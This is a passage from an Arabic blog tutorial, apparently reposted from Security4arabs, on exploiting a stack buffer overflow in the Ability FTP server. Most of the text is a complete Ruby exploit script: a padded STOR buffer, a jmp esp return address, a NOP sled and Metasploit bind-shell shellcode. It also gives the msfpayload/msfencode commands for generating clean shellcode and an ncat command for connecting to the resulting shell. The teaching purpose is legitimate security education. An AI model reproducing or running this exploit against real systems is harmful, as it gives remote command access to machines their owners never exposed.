"\xba\x7f\x60\xb5\x48\xd9\xee\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x56\x31\x55\x13\x03\x55\x13\x83\xed\x83\x82\x40\xb4" +
"\x93\xca\xab\x45\x63\xad\x22\xa0\x52\xff\x51\xa0\xc6\xcf" +
"\x12\xe4\xea\xa4\x77\x1d\x79\xc8\x5f\x12\xca\x67\x86\x1d" +
"\xcb\x49\x06\xf1\x0f\xcb\xfa\x08\x43\x2b\xc2\xc2\x96\x2a" +
"\x03\x3e\x58\x7e\xdc\x34\xca\x6f\x69\x08\xd6\x8e\xbd\x06" +
"\x66\xe9\xb8\xd9\x12\x43\xc2\x09\x8a\xd8\x8c\xb1\xa1\x87" +
"\x2c\xc3\x66\xd4\x11\x8a\x03\x2f\xe1\x0d\xc5\x61\x0a\x3c" +
"\x29\x2d\x35\xf0\xa4\x2f\x71\x37\x56\x5a\x89\x4b\xeb\x5d" +
"\x4a\x31\x37\xeb\x4f\x91\xbc\x4b\xb4\x23\x11\x0d\x3f\x2f" +
"\xde\x59\x67\x2c\xe1\x8e\x13\x48\x6a\x31\xf4\xd8\x28\x16" +
"\xd0\x81\xeb\x37\x41\x6c\x5a\x47\x91\xc8\x03\xed\xd9\xfb" +
"\x50\x97\x83\x93\x95\xaa\x3b\x64\xb1\xbd\x48\x56\x1e\x16" +
"\xc7\xda\xd7\xb0\x10\x1c\xc2\x05\x8e\xe3\xec\x75\x86\x27" +
"\xb8\x25\xb0\x8e\xc0\xad\x40\x2e\x15\x61\x11\x80\xc5\xc2" +
"\xc1\x60\xb5\xaa\x0b\x6f\xea\xcb\x33\xa5\x9d\xcb\xfd\x9d" +
"\xce\xbb\xff\x21\xe5\x88\x89\xc4\x6f\xff\xdf\x5f\x07\x3d" +
"\x04\x68\xb0\x3e\x6e\xc4\x69\xa9\x26\x02\xad\xd6\xb6\x00" +
"\x9e\x7b\x1e\xc3\x54\x90\x9b\xf2\x6b\xbd\x8b\x7d\x54\x56" +
"\x41\x10\x17\xc6\x56\x39\xcf\x6b\xc4\xa6\x0f\xe5\xf5\x70" +
"\x58\xa2\xc8\x88\x0c\x5e\x72\x23\x32\xa3\xe2\x0c\xf6\x78" +
"\xd7\x93\xf7\x0d\x63\xb0\xe7\xcb\x6c\xfc\x53\x84\x3a\xaa" +
"\x0d\x62\x95\x1c\xe7\x3c\x4a\xf7\x6f\xb8\xa0\xc8\xe9\xc5" +
"\xec\xbe\x15\x77\x59\x87\x2a\xb8\x0d\x0f\x53\xa4\xad\xf0" +
"\x8e\x6c\xdd\xba\x92\xc5\x76\x63\x47\x54\x1b\x94\xb2\x9b" +
"\x22\x17\x36\x64\xd1\x07\x33\x61\x9d\x8f\xa8\x1b\x8e\x65" +
"\xce\x88\xaf\xaf"
   
rest    = "C" * (2000 - (junk + eip + nop + shellcode).size)

exploit = junk + eip + nop + shellcode + rest

 
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n"0)
total = s.send("STOR " + exploit + "\r\n"0)
s.close



#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
الأن قم بالإتصال على منفذ 5555 بهذه الطريقة
1
ncat -nvv 10.0.0.76 5555
ستجد النتيجة هي
1
2
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connection refused.
نعم, الShellcode لم يعمل بشكل صحيح وستجد رسالة خطأ خرجت من البرنامج. والسبب
 هو وجود Bad characters
6.2. Find Bad/Restricted characters
الرجاء مراجعة موضوع (قمت بتحديث الموضوع): إيجاد الـ Bad characters في الـ Shellcode
إيجاد الـ Bad Characters في الـ Shellcode
لن أعيد ماكتبته وهنا سنجرب الـ Bad characters المشهورة والتي يجب تفاديها في
أي Shellcode نقوم بعمله وهذه ال characters هي “\x00\x0a\x0d”.
6.3. Real & clean shellcode
الأن, من الميتاسبلويت وبنفس الطريقة السابقة إلا أننا سنزيل الـ Bad characters 
الذي نريد أن نزيحها
بهذه الطريقة
1
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d' -t ruby
مخرجاته ستكون
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)                                                                                                                  

buf =                                                                                                                                                                        
"\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" +                                                                                                                  
"\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" +                                                                                                                  
"\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" +                                                                                                                  
"\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" +                                                                                                                  
"\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" +                                                                                                                  
"\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" +                                                                                                                  
"\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" +                                                                                                                  
"\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" +                                                                                                                  
"\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" +                                                                                                                  
"\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" +                                                                                                                  
"\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" +                                                                                                                  
"\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" +                                                                                                                  
"\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" +                                                                                                                  
"\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" +                                                                                                                  
"\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" +                                                                                                                  
"\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" +                                                                                                                  
"\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" +                                                                                                                  
"\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" +                                                                                                                  
"\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" +                                                                                                                  
"\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" +                                                                                                                  
"\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" +                                                                                                                  
"\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" +                                                                                                                  
"\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" +                                                                                                                  
"\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" +                                                                                                                  
"\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" +
"\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" +
"\x04\xf0\x94\x81"
ضع هذا الShellcode في السكريبت
6.4. Exploit
الأن وأخيرا, أغلق البرنامج تماما وتأكد أنه لا يوجد أي Process تعمل للبرنامج وأعد تشغيله 
لوحده دون المنقح
وبعد أن وضعنا مخرجات الـ Shellcode الجديد بدون Bad characters سيكون كالتالي
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env ruby 
#======================================================#
# Ability FTP server exploit                           #
# Security4arabs.com: Buffer Overflow tutorials        #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI      #
#======================================================#
require 'socket'



junk      = "A"    * 969
eip       = "\x0A\xAF\xD8\x77"   # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A
nop       = "\x90" * 32
shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d'  -t ruby (size 368)
"\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" +
"\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" +
"\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" +
"\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" +
"\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" +
"\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" +
"\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" +
"\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" +
"\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" +
"\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" +
"\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" +
"\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" +
"\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" +
"\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" +
"\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" +
"\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" +
"\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" +
"\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" +
"\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" +
"\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" +
"\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" +
"\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" +
"\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" +
"\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" +
"\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" +
"\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" +
"\x04\xf0\x94\x81"
   
rest    = "C" * (2000 - (junk + eip + nop + shellcode).size)

exploit = junk + eip + nop + shellcode + rest

 
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n"0)
total = s.send("STOR " + exploit + "\r\n"0)
s.close



#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
Download ability-STOR6.rb
نفذ الـ Exploit ثم اتصل على الجهاز الهدف على منفذ 5555
1
ncat -nvv 10.0.0.76 5555

Figure 6

Demonstration

في النهاية, هذا فيدو توضيعي لكل ما تم عمله سابقا بشكل سريع.


mimoudz
المصدر 

تسعدنا زيارتك دائما, أتمنى أن تعجبكم المدونة , ويمكنكم زيارة المدونة بسرعة عن طريق جوجل فقط اكتب في مربع البحث ainoussera-programmer.blogspot.com.

هل أعجبك الموضوع ؟

ليست هناك تعليقات:

إرسال تعليق

3efrit blogger
يتم التشغيل بواسطة Blogger.

أرشيف المدونة الإلكترونية

 FacebookYoutube 

twitter

جميع الحقوق محفوظ ميمو ديزاد 2014 -2015 | جميع المواد الواردة في هذا الموقع قوقها محفوظة ، نقل بدون تصريح ممنوع